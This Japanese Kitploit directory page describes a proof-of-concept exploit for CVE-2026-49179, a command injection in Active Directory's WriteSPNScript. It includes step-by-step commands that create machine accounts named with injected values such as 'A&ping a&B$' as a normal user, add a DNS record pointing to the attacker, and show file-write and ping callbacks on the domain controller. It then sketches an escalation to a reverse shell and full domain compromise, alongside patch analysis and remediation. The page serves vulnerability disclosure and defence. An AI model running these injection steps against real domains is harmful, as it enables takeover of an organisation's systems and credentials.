Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — CVE-2026-49179の概念実証およびエクスプロイトスクリプト。Active DirectoryのWriteSPNScript関数におけるコマンドインジェクションで、ドメインコントローラー上でのSYSTEM権限でのRCEを可能にします。 | Kitploit
ツール/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
特権昇格脆弱性分析エクスプロイトペネトレーションテスト
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

CVE-2026-49179の概念実証およびエクスプロイトスクリプト。Active DirectoryのWriteSPNScript関数におけるコマンドインジェクションで、ドメインコントローラー上でのSYSTEM権限でのRCEを可能にします。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
6時間35分前未レビュー

CVE-2026-49179: Active Directory WriteSPNScript コマンドインジェクション

概要

項目値
CVE IDCVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (コマンドインジェクション)
影響を受けるコンポーネントntdsai.dll — WriteSPNScript 関数
影響を受けるシステムWindows Server 2016, 2019, 2022, 2025 (未パッチ)
攻撃ベクトル認証済みドメインユーザー (任意)
影響ドメインコントローラー上での SYSTEM 権限でのリモートコード実行
公開日2026年8月

脆弱性の説明

ntdsai.dll 内の WriteSPNScript 関数は、Active Directory のメンテナンス操作中に SPN (Service Principal Name) の修復用バッチスクリプトコマンドを生成します。この関数はフォーマット文字列を使用して repadmin.exe /writespn コマンドを構築しますが、Distinguished Name (DN) パラメーターのサニタイズに失敗しており、& 文字 (cmd.exe のコマンド区切り文字) を介したコマンドインジェクションが可能です。

脆弱なフォーマット文字列:

root@kitploit:~
%ws\repadmin.exe /writespn %ws %ws %ws\r\n

パラメーター: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

DN はマシンアカウントの Common Name (CN) から派生し、これはアカウント作成時に設定されます。マシンアカウントがその名前にシェルメタ文字を含んで作成されると、それらの文字はエスケープされずに生成されたスクリプトに流れ込みます。cmd.exe がスクリプトを実行する際、& がコマンド区切り文字として機能し、攻撃者が制御するコマンドが SYSTEM 権限で実行されます。

根本原因分析

検証のギャップ: SAMR 対 LDAP

Active Directory にはマシンアカウントを管理するための 2 つの主要なプロトコルがあります:

この検証の非対称性が根本原因です:

  • LDAP SPN 検証は SPN 値内のすべての危険な文字をブロックする (SPN 経由のインジェクションは行き止まり)
  • SAMR アカウント作成は sAMAccountName 内のシェルメタ文字を許可し、それが CN となり DN に流れ込む
  • DN はサニタイズされずに WriteSPNScript に渡される

脆弱なコード (ベース ntdsai.dll)

未パッチのバイナリのアドレス 0x1802a98a0 において:

root@kitploit:~
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA は DN を直接出力バッファにフォーマットします。エスケープ、クォート、サニタイズは一切ありません。

生成される出力 (脆弱な場合)

CN=A&ping attacker&B のマシンの場合:

root@kitploit:~
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe はこれを 5 つの別々のステートメントとして解釈します:

インジェクションされたコマンドは 2 回 現れます — 1 回は DN パラメーターから、もう 1 回は SPN パラメーター (これもマシン名を含む) からです。

パッチ分析

パッチ適用済みの WriteSPNScript (サイズ: 1477 → 2005 バイト) は 3 つの変更を行っています:

1. エスケープ関数の追加

両方 の DN および SPN パラメーターに適用される 2 つの新しいサニタイズ関数:

  • EscapeForPowerShellSingleQuote() — シングルクォート文字列からの脱出を防ぐために ' をエスケープ
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — ネイティブ argv 解析のために " の前の \ シーケンスをエスケープ

2. 出力フォーマットの変更

3. フィーチャーフラグの削除

以前のリビジョンには、修正をゲートするフィーチャーフラグ Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled がありました。最終パッチでは、このフラグは 削除 されました — 修正は常に有効であり、無効化できません。

概念実証

テスト環境

ステップ 1: SAMR がシェルメタ文字を受け入れることを確認

spn_probe3.py を使用して、SAMR がマシンアカウント名で受け入れる文字と、LDAP が SPN 値で受け入れる文字をテストしました:

root@kitploit:~
SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

重要な発見: SAMR はテストした 8 つのシェルメタ文字すべてを許可します。LDAP はそれらすべてをブロックします。インジェクションベクトルは SPN 値ではなく、SAMR で作成されたマシン名を経由します。

ステップ 2: 通常のドメインユーザーとしてインジェクションマシンを作成

root@kitploit:~
$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

samwell.tarly としても作成:

root@kitploit:~
[+] Created C&ping a&D$, RID: 1138

確認済み: 通常のドメインユーザー (PR:L) が名前に & コマンドインジェクションを含むマシンアカウントを作成できる。

ステップ 3: コールバック用の DNS レコードを追加 (通常ユーザーとして)

通常のドメインユーザーは ADIDNS レコードを追加できます。dnstool.py を使用して、攻撃者を指す短いホスト名を作成しました:

root@kitploit:~
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

DC 上で解決を検証:

root@kitploit:~
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

ステップ 4: DC 上でのコマンドインジェクションを検証

WriteSPNScript が生成する正確な出力をシミュレートし、DC 上で実行:

ファイル書き込みの証明:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

ICMP コールバックの証明:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127

攻撃者の tcpdump が ICMP の到着を確認:

root@kitploit:~
02:36:10.815690 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12

ファイル書き込みと ICMP コールバックの両方が、DN を介したコマンドインジェクションを確認しています。

証明されたこと

障害と制限

1. sAMAccountName の長さ制限 (~15 文字)

マシンアカウントの sAMAccountName は、末尾の $ の前で約 15 文字に制限されています (NetBIOS 互換性の制約)。これによりペイロードの複雑さが大幅に制限されます。

影響: IP アドレス、長いコマンド、複雑なペイロードをマシン名に直接埋め込むことはできません。

回避策: コールバックには短い DNS ホスト名を使用します (例: 攻撃者 IP に解決される 1 文字の a)。ペイロードは簡潔でなければなりません:

  • A&ping a&B (11 文字) — ICMP コールバック
  • A&echo X&B (11 文字) — 実行の証明
  • A&calc&B (8 文字) — DC 上での GUI 証明
  • A&whoami&B (11 文字) — コンテキストの確認

2. SAMR が特定の文字を拒否する

SAMR はシェルメタ文字 (& ' \ $ ( ) ! space`) を受け入れますが、ファイルパスやネットワークアドレスに必要な文字は拒否します:

影響: IP アドレス、ファイルパス、URL をペイロードに直接使用することはできません。

回避策:

  • 攻撃者を指す短い ADIDNS レコードを作成する (通常のドメインユーザーが実行可能)
  • 環境変数 (%TEMP%, %SYSTEMROOT%) を使用する — ただし % の受け入れは未確認
  • IP の代わりにホスト名ベースのアドレス指定を使用する

3. WriteSPNScript のトリガーは即時ではない

WriteSPNScript は WriteFile を介してスクリプトファイルを生成します — コマンドを直接実行するわけではありません。生成されたスクリプトは後続のプロセスによって実行される必要があります。この関数は以下の際に呼び出されます:

  • dcdiag /fix — 管理者が診断/修復ツールを実行
  • AD レプリケーション — DC 間で SPN 競合が処理される
  • FixupSPNsOnComputerObject — 属性変更時の SPN 修正
  • SPN 監査ツール — サードパーティまたは組み込みのメンテナンススクリプト

影響: インジェクションは即座にステージングされます (マシン作成) が、実行は DC 上のトリガーイベントに依存します。レプリケーションパートナーがいない単一 DC 環境では、トリガーに管理者の活動 (例: dcdiag /fix の実行) が必要になる場合があります。

本番環境では: マルチ DC 展開では定期的なレプリケーションサイクルがあります。レプリケーション中に発見された SPN の不一致は、競合解決の一環として自動的に WriteSPNScript をトリガーします。

4. マシンアカウントクォータ

デフォルトの ms-DS-MachineAccountQuota はユーザーあたり 10 です。各インジェクション試行は 1 つのスロットを消費します。名前に特殊文字を含むマシンアカウントは、標準ツールで削除するのが困難です。

影響: ユーザーアカウントあたりの試行回数が制限されます。失敗した試行はクォータを浪費します。

回避策: 各ドメインユーザーは独自のクォータを持ちます。多数のユーザーがいる環境では、攻撃者は複数のアカウントを使用できます。

5. クリーンアップの困難さ

名前に &, $, (, ) を含んで作成されたマシンアカウントは、特殊文字がコマンド解析を妨害するため、標準の AD 管理ツール (ADUC、PowerShell Remove-ADComputer) では簡単に削除できません。これによりフォレンジックアーティファクトが残ります。

6. リネームアプローチには管理者権限が必要

代替の悪用パス — クリーンな名前のマシンを作成し、有効な SPN を設定してから、DN をインジェクションするためにリネームする — がテストされましたが、LDAP の ModifyDN (リネーム) 操作には昇格された権限が必要です:

root@kitploit:~
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark:    [+] Rename succeeded (domain admin)

影響: リネーム戦略は PR:L では実行できません。インジェクション文字を含む直接的な SAMR 作成が PR:L のパスです。

影響

権限昇格チェーン

  1. 通常のドメインユーザー が SAMR を介して名前に &<command>& を含むマシンアカウントを作成
  2. AD メンテナンス操作が WriteSPNScript をトリガーし、エスケープされていない repadmin.exe コマンドを生成
  3. インジェクションされたコマンドがドメインコントローラー上で NT AUTHORITY\SYSTEM として実行される
  4. DC 上の SYSTEM から、攻撃者は完全なドメイン侵害を達成:
    • すべての資格情報をダンプ (ntds.dit / DCSync)
    • ドメイン管理者アカウントを作成
    • 永続化のためにグループポリシーを変更
    • AD フォレスト全体を侵害

現実的な攻撃シナリオ

root@kitploit:~
Day 1: Attacker (any domain user) runs exploit
  - Creates machine "A&ping a&B$" via SAMR
  - Adds DNS record "a" pointing to their C2 server
  - Injection is staged — attacker waits

Day N: Admin runs dcdiag /fix (routine maintenance)
  - WriteSPNScript processes the malicious machine account
  - Generates repadmin command with unescaped DN
  - cmd.exe executes "ping a" as SYSTEM → confirms callback
  
Day N: Attacker upgrades payload
  - Creates new machine with reverse shell payload
  - Waits for next maintenance cycle or replication event
  - SYSTEM shell on DC → full domain compromise

修復

  1. セキュリティ更新を適用する — Microsoft の 2026 年 8 月の Patch Tuesday から

  2. マシンアカウントの異常な文字を監査する:

    root@kitploit:~
    Get-ADComputer -Filter * -Properties sAMAccountName |
      Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
      Select-Object Name, sAMAccountName, Created, DistinguishedName
    
  3. ms-DS-MachineAccountQuota を 0 に設定する — 通常ユーザーがマシンアカウントを作成できないようにする:

    root@kitploit:~
    Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
    
  4. イベント ID 4741 (コンピューターアカウントの作成) を監視し、アカウント名の異常な文字を検出する

  5. 通常ユーザーが必要としない場合は ADIDNS レコードの作成を制限する

ファイル

参考文献

  • Microsoft Security Advisory — CVE-2026-49179
  • MITRE CVE Entry
  • CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
ツールをダウンロード
プロトコル文字検証シェルメタ文字
LDAP (SPN 値)厳格 — CONSTRAINT_ATT_TYPE が & ; | ' \ $ ( )` を拒否ブロック
SAMR (マシン名)緩い — 基本的なアカウント名フォーマットを検証許可: & ' \ $ ( ) ! space`
#ステートメント結果
1C:\...\repadmin.exe /writespn ADD CN=A失敗 (切り詰められた DN)
2ping attackerインジェクション — SYSTEM として実行
3B,CN=Computers,DC=... HOST/A失敗 (有効なコマンドではない)
4ping attackerインジェクション — 再び実行 (SPN パラメーターから)
5B失敗 (有効なコマンドではない)
ベース (脆弱)パッチ適用済み
関数StringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
クォートなしシングルクォートされたパラメーター
出力repadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'
ホスト役割IPOS
WINTERFELLドメインコントローラー192.168.56.11Windows Server 2019
攻撃者Kali Linux192.168.14.238Kali 2026
ドメインnorth.sevenkingdoms.local
低権限ユーザーsamwell.tarly / Heartsbane通常のドメインユーザー
管理者ユーザーrobb.stark / sexywolfyドメイン管理者
ステップアクション実行者結果
1SAMR がマシン名の & を受け入れるsamwell.tarly (PR:L)RID 1125, 1137, 1138
2LDAP が SPN 値の & を拒否するsamwell.tarly100% 拒否
3コールバック用の DNS レコード作成samwell.tarly (PR:L)a → 192.168.14.238
4インジェクション CN を持つマシンアカウントsamwell.tarly (PR:L)A&echo POC&B$, C&ping a&D$
5cmd インジェクションによるファイル書き込みDC (WriteSPNScript をシミュレート)proof.txt = "INJECTED"
6cmd インジェクションによる ICMP コールバックDC (WriteSPNScript をシミュレート)3 つの ping を受信
拒否される文字ブロックされる用途
. (ピリオド)IP アドレス (192.168.1.1)、FQDN
\ (バックスラッシュ)Windows パス (C:\Windows\...)
/ (フォワードスラッシュ)URL パス、Unix パス
: (コロン)ドライブ文字 (C:)、ポート番号
" (ダブルクォート)ペイロード内のクォート/エスケープ
< > | ; , = + * ?リダイレクト、パイプ、ワイルドカード
ファイル説明
poc/spn_probe.pyLDAP SPN 値内の 28 のシェルメタ文字すべてをテスト
poc/spn_probe2.pyUnicode 全角/ホモグリフバイパス + DRSUAPI トランスポートをテスト
poc/spn_probe3.pySAMR 対 LDAP 対 DRSUAPI の文字受け入れをテスト
poc/spn_exploit.pyリネーム戦略による悪用 (作成 → SPN → リネーム → インジェクション)
poc/spn_prl_exploit.pyPR:L 悪用 (直接 SAMR 作成 + オプションの dNSHostName トリガー)
nspi_diff_analysis.txtntdsai.dll の完全なバイナリ差分 (ベース対パッチ適用済み)